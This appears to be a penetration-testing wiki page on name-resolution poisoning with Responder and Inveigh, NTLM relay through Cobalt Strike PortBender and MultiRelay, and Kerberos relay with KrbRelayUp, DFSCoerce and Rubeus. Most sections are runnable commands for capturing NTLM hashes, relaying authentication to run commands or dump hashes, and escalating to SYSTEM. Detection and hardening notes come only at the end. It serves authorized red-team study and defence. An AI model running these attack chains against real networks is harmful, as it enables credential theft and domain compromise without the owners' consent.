Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 11 minutes

Network Protocols

Local Host Resolution Protocols

• LLMNR, NBT-NS, and mDNS:
  • Microsoft and other operating systems use LLMNR and NBT-NS for local name resolution when DNS fails. Similarly, Apple and Linux systems use mDNS.
  • These protocols are susceptible to interception and spoofing due to their unauthenticated, broadcast nature over UDP.
  • Responder can be used to impersonate services by sending forged responses to hosts querying these protocols.
  • Further information on service impersonation using Responder can be found here.

Web Proxy Auto-Discovery Protocol (WPAD)

• WPAD allows browsers to discover proxy settings automatically.
• Discovery is facilitated via DHCP, DNS, or fallback to LLMNR and NBT-NS if DNS fails.
• Responder can automate WPAD attacks, directing clients to malicious WPAD servers.

Responder for Protocol Poisoning

• Responder is a tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.
• It comes pre-installed in Kali Linux, configurable at /etc/responder/Responder.conf.
• Responder displays captured hashes on the screen and saves them in the /usr/share/responder/logs directory.
• It supports both IPv4 and IPv6.
• Windows version of Responder is available here.

Running Responder

• To run Responder with default settings: responder -I <Interface>
• For more aggressive probing (with potential side effects): responder -I <Interface> -P -r -v
• Techniques to capture NTLMv1 challenges/responses for easier cracking: responder -I <Interface> --lm --disable-ess
• WPAD impersonation can be activated with: responder -I <Interface> --wpad
• NetBIOS requests can be resolved to the attacker's IP, and an authentication proxy can be set up: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

• Spoofing DHCP responses can permanently poison a victim's routing information, offering a stealthier alternative to ARP poisoning.
• It requires precise knowledge of the target network's configuration.
• Running the attack: ./Responder.py -I eth0 -Pdv
• This method can effectively capture NTLMv1/2 hashes, but it requires careful handling to avoid network disruption.

Capturing Credentials with Responder

• Responder will impersonate services using the above-mentioned protocols, capturing credentials (usually NTLMv2 Challenge/Response) when a user attempts to authenticate against the spoofed services.
• Attempts can be made to downgrade to NetNTLMv1 or disable ESS for easier credential cracking.

It's crucial to note that employing these techniques should be done legally and ethically, ensuring proper authorization and avoiding disruption or unauthorized access.

Inveigh

Inveigh is a tool for penetration testers and red teamers, designed for Windows systems. It offers functionalities similar to Responder, performing spoofing and man-in-the-middle attacks. The tool has evolved from a PowerShell script to a C# binary, with Inveigh and InveighZero as the main versions. Detailed parameters and instructions can be found in the wiki.

Inveigh can be operated through PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Or executed as a C# binary:

Inveigh.exe

NTLM Relay Attack

This attack leverages SMB authentication sessions to access a target machine, granting a system shell if successful. Key prerequisites include:

• The authenticating user must have Local Admin access on the relayed host.
• SMB signing should be disabled.

445 Port Forwarding and Tunneling

In scenarios where direct network introduction isn't feasible, traffic on port 445 needs to be forwarded and tunneled. Tools like PortBender help in redirecting port 445 traffic to another port, which is essential when local admin access is available for driver loading.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Other Tools for NTLM Relay Attack

• Metasploit: Set up with proxies, local and remote host details.
• smbrelayx: A Python script for relaying SMB sessions and executing commands or deploying backdoors.
• MultiRelay: A tool from the Responder suite to relay specific users or all users, execute commands, or dump hashes.

Each tool can be configured to operate through a SOCKS proxy if necessary, enabling attacks even with indirect network access.

MultiRelay Operation

MultiRelay is executed from the /usr/share/responder/tools directory, targeting specific IPs or users.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.

Force NTLM Logins

In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNs’ service classes differ (e.g. CIFS/ → LDAP/) because the key that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.

Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.

For detailed info about this attack check:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Kerberos basics

• Tickets are encrypted with the password-derived key of the account that owns the SPN.
• The Authenticator inside the AP-REQ has a 5-minute timestamp; replay inside that window is valid until the service cache sees a duplicate.
• Windows rarely checks if the SPN string in the ticket matches the service you hit, so a ticket for CIFS/HOST normally decrypts fine on LDAP/HOST.

• 2. What must be true to relay Kerberos

1. Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
2. No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
4. Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
5. You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.

Kerberos Relay Steps

• 3.1 Recon the host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
  Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
  Select Name,servicePrincipalName

• 3.2 Start the relay listener

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp wraps KrbRelay → LDAP → RBCD → Rubeus → SCM bypass in one binary.

• 3.3 Coerce Kerberos auth

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce makes the DC send a Kerberos CIFS/DC01 ticket to us.

• 3.4 Relay the AP-REQ

KrbRelay extracts the GSS blob from SMB, repackages it into an LDAP bind, and forwards it to ldap://DC01—authentication succeeds because the same key decrypts it.

• 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

More paths worth knowing

Troubleshooting

Detection

• Surge in Event 4769 for CIFS/, HTTP/, LDAP/ from the same source within seconds.
• Event 4649 on the service indicates replay detected.
• Kerberos logon from 127.0.0.1 (relay to local SCM) is highly suspicious—map via Sigma rule in KrbRelayUp docs.
• Watch changes to msDS-AllowedToActOnBehalfOfOtherIdentity or msDS-KeyCredentialLink attributes.

Hardening

1. Enforce LDAP & SMB signing + EPA on every server.
2. Split SPNs so HTTP isn’t on the same account as CIFS/LDAP.
3. Patch coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
4. Set ms-DS-MachineAccountQuota = 0 to stop rogue computer joins.
5. Alert on Event 4649 and unexpected loopback Kerberos logons.

References

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html